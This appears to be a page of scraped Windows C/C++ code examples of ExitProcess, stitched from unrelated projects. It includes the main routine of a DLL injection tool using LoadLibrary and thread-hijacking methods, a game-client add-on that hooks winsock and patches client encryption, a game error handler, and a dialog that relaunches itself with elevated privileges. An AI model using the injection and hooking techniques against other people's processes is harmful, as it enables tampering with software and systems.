	BOOL isXpOrAbove = FALSE;
	BOOL isVistaOrAbove = FALSE;
	BOOL is7OrAbove = FALSE;

	if(OsInfo.dwMajorVersion >= 6){
		isVistaOrAbove = TRUE;
		if(OsInfo.dwMinorVersion >= 1){
			is7OrAbove = TRUE;
		}
	}

	if(OsInfo.dwMajorVersion >= 5){
		is2kOrAbove = TRUE;
		if(OsInfo.dwMinorVersion >= 1){
			isXpOrAbove = TRUE;
		}
	}

	// This really wont event get shown, the program just crashes when run.
	if(isXpOrAbove == FALSE){
		printf("ERROR: Injex is not compatible with this version of windows.");
		ExitProcess(-1);
	}

	for(int i=1;i<argc;i++){
		if(strcmp(argv[i],"-d") == 0){

			// Add the DLL list
			dllList[dllCount] = (char*)malloc(MAX_PATH);

			// Get the full path to the DLL to inject, the application loading will need this.
			GetFullPathNameA(argv[++i],MAX_PATH,dllList[dllCount],NULL);

			// Inc the dll count.
			dllCount++;

		} else if(strcmp(argv[i],"-b") == 0) {
			programPath = argv[++i];
			startProcess = TRUE;

		} else if(strcmp(argv[i],"-p") == 0) {
			if(isNumeric(argv[i+1]))
				pid = atoi(argv[++i]);
			else{
				printf("ERROR: Invalid Process Id specified \"%s\"; Process Id should be numeric.\n",argv[i+1]);
				Usage();
			}
			startProcess = FALSE;

		} else if(strcmp(argv[i],"-a") == 0) {
			procArgs = argv[++i];

		} else if(strcmp(argv[i],"-h") == 0) {
			Usage();

		} else if(strcmp(argv[i],"-w") == 0) {
			if(isXpOrAbove == FALSE){
				printf("ERROR: Process suspension is only supported on Windows XP/2003 or above.\n");
				Usage();
			}

			waitMs = atoi(argv[++i]);

		} else if (strcmp(argv[i],"-n") == 0) {
			
			if(isXpOrAbove == FALSE){
				printf("ERROR: Selecting a process by name is only supported on Windows XP or above. Please use process id instead.\n");
				Usage();
			}

			i++;
			procName = procNameBuffer;
			MultiByteToWideChar(CP_UTF8, 0, argv[i], INT(strlen(argv[i])), procName, MAX_PATH);

			startProcess = FALSE;

		} else if (strcmp(argv[i],"-i") == 0) {
			if(isNumeric(argv[i+1]))
				injectionMethod = atoi(argv[++i]);
			else{
				printf("ERROR: Invalid injection method, injection methods are provided by number.\n");
				Usage();
			}

		} else {
			printf("ERROR: Unknown command line option \"%s\"\n",argv[i]);
			Usage();
		}
	}

	// Validate their command line options.
	if(pid == 0 && programPath == NULL && procName == 0){
		printf("ERROR: Please specify either a Process ID, a binary to launch, or the name of a running process.\n");
		Usage();
	}

	// Check to make sure the specified a DLL.
	if(dllCount == 0){
		printf("ERROR: Please specify a DLL to inject.\n");
		Usage();
	}

	// Ensure that they selected an injection method that is within range.
	if(injectionMethod>1){
		printf("ERROR: Invalid injection method selected.\n");
		Usage();
	}

	// The handle of the process we will inject into.
	HANDLE proc=INVALID_HANDLE_VALUE;

	// Used for keeping track of the suspended threads.
	DWORD threadCount = 0;

	// Assuming 1MB stacks, 2048*1MB =~ 2GB. I am ASSUMING that the thread count in an application will never exceed this due to hardware contraints. 
	#define MAX_THREADS 2048
	HANDLE threads[MAX_THREADS];

	// Get the handle to the process to inject into and store it in proc.
	if(startProcess){
		// startProcess means that we need to start it up...
		PROCESS_INFORMATION		pi;
		STARTUPINFOA			si;
		GetStartupInfoA(&si);

		// Assemble the command line to start the process.
		char CommandLine[8191] = {0};
		sprintf(CommandLine,"\"%s\"", programPath);
		if(procArgs != NULL){
			strcat(CommandLine, " ");
			strcat(CommandLine, procArgs);
		}
		
		DWORD dwFlags = 0;
		if(waitMs) dwFlags |= CREATE_SUSPENDED;
		
		printf("Starting new process to inject into:\n%s\n",CommandLine);
		if(CreateProcessA(NULL,CommandLine,NULL,NULL,0,dwFlags,NULL,NULL,&si,&pi) == 0)
		{
			ErrorExit(TEXT("CreateProcessA"), "Check your process path.");
		}

		if(waitMs){
			threadCount = 1;
			threads[0] = pi.hThread;
		}

		proc = pi.hProcess;
	}
	else{

		// The process is already running, we need to get a handle to it with the correct permissions.
		if(procName != NULL){
			// Open a handle to the process if they specified it with a name.
			proc = GetProcessHandleFromName(procName);

			if(proc == NULL){
				printf("ERROR: Failed to find a process by the name of '%S' that we have permissions to inject into. Make sure that your have proper permissions and the process is running.\n", procName);
				ExitProcess(-1);
			}

		} else {
			// Open a handle to the process specified by PID.
			proc = GetProcessHandleFromPid(pid);

			if(proc == NULL)
			{
				ErrorExit(TEXT("OpenProcess"), "Check the Process Id that you provided.");
			}
		}

		if(waitMs){
			/** @todo Add the ability to suspend already running processes. */
		}
	}
	
	// Inject each dll listed.
	for(DWORD i=0;i<dllCount;i++){
		printf("Injecting %s into pid %d.\n", dllList[i], GetProcessId(proc));
		DWORD dwThreadExitCode;

		switch(injectionMethod){
			case 0:
				printf("Using LoadLibrary injection (Richter Method).\n");
				dwThreadExitCode = LoadLibraryInjection(proc, dllList[i]);
				break;

			case 1:
				printf("Using Thread Hijacking...\n");
				dwThreadExitCode = ThreadHijackInjection(proc, dllList[i]);
				break;
		}

		if(dwThreadExitCode == 0){
			printf("ERROR: The target process failed to load %s. Check the DLL path you specified.\n",dllList[i]);
			printf("DLL Injection Failed!");
		} else {
			printf("%s Injection Successful!\n",dllList[i]);
		}

		// Free up that memory...
		free(dllList[i]);
	}

	if(waitMs && startProcess){
		printf("Waiting %ims for DLL to lay hooks before resuming the process.\n",waitMs);
		Sleep(waitMs);
		for(DWORD i=0;i<threadCount;i++){
			printf("Resuming threads in process %d...\n", GetProcessId(proc));
			ResumeThread(threads[i]);
			CloseHandle(threads[i]);
		}
	}

	// No need for this handle anymore.
	CloseHandle(proc);

	return 0;
}
Exemplo n.º 28
0
/*
 *	CGuiThread initialization: Load plugins, create windows & so on	
 */
BOOL CGuiThread::InitInstance()
{
	GUIThreadId = GetCurrentThreadId();

	HANDLE hEvent = OpenEvent(EVENT_MODIFY_STATE,FALSE,"Injection_load_dll_event");
	if(hEvent == 0)
	{
		// It is possible to load injection not with ILaunch. For example by
		// manually modifying client's import table
		OutputDebugString("Injection: DLL loaded not from ILaunch.");
	} else
		SetEvent(hEvent);

	// Initialize main window
	MainWindow = new CMainWindow();
	if(!MainWindow->Create())
	{
		char Buff[111];
		sprintf(Buff,"Error creating main window %08X",GetLastError());
		MessageBox(0,Buff,LoadString(IDS_ERROR),0);
	}

	// Enable error logging
	Log=new Logger;
/*
// DEBUG version always use verbose logging
#ifdef _DEBUG
	Log->set_verbose(true);
#else
	Log->set_verbose(false);
#endif
*/

	ReadRegistry();

//////////////////////////////////////////////////////////
//
//		 Here goes Injection initialization
//
//////////////////////////////////////////////////////////

	// Add predefined tabs
	MainTab = new CMainTab(MainWindow->GetTabCWnd());
	MainWindow->AddTab(MainTab->m_hWnd,"Main");

	DisplayTab = new CDisplayTab(MainWindow->GetTabCWnd());
	MainWindow->AddTab(DisplayTab->m_hWnd,"Display");

	ObjectsTab = new CObjectsTab(MainWindow->GetTabCWnd());
	MainWindow->AddTab(ObjectsTab->m_hWnd,"Objects");

	ObjectTypesTab = new CObjectTypesTab(MainWindow->GetTabCWnd());
	MainWindow->AddTab(ObjectTypesTab->m_hWnd,"Object Types");

	if(!HookClientWindowProc())
		error_printf("Unable to hook CreateWindow function!\n");

	if(!HookWinsockFunctions())
		error_printf("Unable to hook winsock.dll!\n");

	// Load plugins
	LoadPluginDLLs();

// This code was previously used to patch client using ignition.
// It is no longer necessary, but is left here as it may be needed
// in the future.
	if(!RemoveEncryptionFromClientWithPlugins())
	{
		trace_printf("All plugins refused to patch client\n");
	}

	// Find the encryption plugin in plugin list
	if(!InitEncryptionPlugin())
	{
		error_printf("Unable to load encryption plugin.");
		if(IDNO==MessageBox(0,LoadString(IDS_NOENCRYPTIONPLUGIN),LoadString(IDS_ERROR),
			MB_ICONQUESTION | MB_YESNO | MB_DEFBUTTON2))
		{
			ExitProcess(1);
		}
	}

	// Make main window visible
	MainWindow->ShowWindow(SW_SHOW);

	// resume client execution
	SetEvent(hResumeClient);

	return TRUE;
}
Exemplo n.º 29
0
void Panic(const char* msg)
{
    MessageBoxA(gMainWnd, msg, "LD24 - Super Conga Kat", MB_ICONERROR | MB_OK);
    ExitProcess(0);
}
Exemplo n.º 30
0
void Dlg_OnCommand(HWND hwnd, int id, HWND hwndCtl, UINT codeNotify) {

   static BOOL s_fProcesses = TRUE;

   switch (id) {
      case IDCANCEL:
         EndDialog(hwnd, id);
         break;

      // Restart the application when we are not running 
      // as Elevated Administrator.
      case IDC_BTN_SYSTEM_PROCESSES: {
         // Hide ourself before trying to start the same application
         // but with elevated privileges.
         ShowWindow(hwnd, SW_HIDE);

         TCHAR szApplication[MAX_PATH];
         DWORD cchLength = _countof(szApplication);
         QueryFullProcessImageName(
            GetCurrentProcess(), 0, szApplication, &cchLength);
         DWORD dwStatus = StartElevatedProcess(szApplication, NULL);
         if (dwStatus == S_OK) {
            // not need to keep on working under lower privileges.
            ExitProcess(0);
         }
         
         // In case of error, show up again.
         ShowWindow(hwnd, SW_SHOWNORMAL);
      }
      break;

      case ID_PROCESSES:
         s_fProcesses = TRUE;
         EnableMenuItem(GetMenu(hwnd), ID_VMMAP, MF_BYCOMMAND | MF_ENABLED);
         DrawMenuBar(hwnd);
         Dlg_PopulateProcessList(hwnd);
         break;

      case ID_MODULES:
         EnableMenuItem(GetMenu(hwnd), ID_VMMAP, MF_BYCOMMAND | MF_GRAYED);
         DrawMenuBar(hwnd);
         s_fProcesses = FALSE;
         Dlg_PopulateModuleList(hwnd);
         break;

      case IDC_PROCESSMODULELIST:
         if (codeNotify == CBN_SELCHANGE) {
            DWORD dw = ComboBox_GetCurSel(hwndCtl);
            if (s_fProcesses) {
               dw = (DWORD) ComboBox_GetItemData(hwndCtl, dw); // Process ID
               ShowProcessInfo(GetDlgItem(hwnd, IDC_RESULTS), dw);
            } else {
               // Index in helper listbox of full path
               dw = (DWORD) ComboBox_GetItemData(hwndCtl, dw); 
               TCHAR szModulePath[1024];
               ListBox_GetText(GetDlgItem(hwnd, IDC_MODULEHELP), 
               dw, szModulePath);
               ShowModuleInfo(GetDlgItem(hwnd, IDC_RESULTS), szModulePath);
            }
         }
         break;

      case ID_VMMAP: {
         TCHAR szCmdLine[32];
         HWND hwndCB = GetDlgItem(hwnd, IDC_PROCESSMODULELIST);
         DWORD dwProcessId = (DWORD)
            ComboBox_GetItemData(hwndCB, ComboBox_GetCurSel(hwndCB));
         StringCchPrintf(szCmdLine, _countof(szCmdLine), TEXT("%d"), 
            dwProcessId);

         DWORD dwStatus = 
            StartElevatedProcess(TEXT("\"14-VMMap.exe\""), szCmdLine);
         if (dwStatus == ERROR_CANCELLED) {
            chMB("Failed to run 14-VMMap.exe: you refused access.");
         }
      }
      break;
   }
}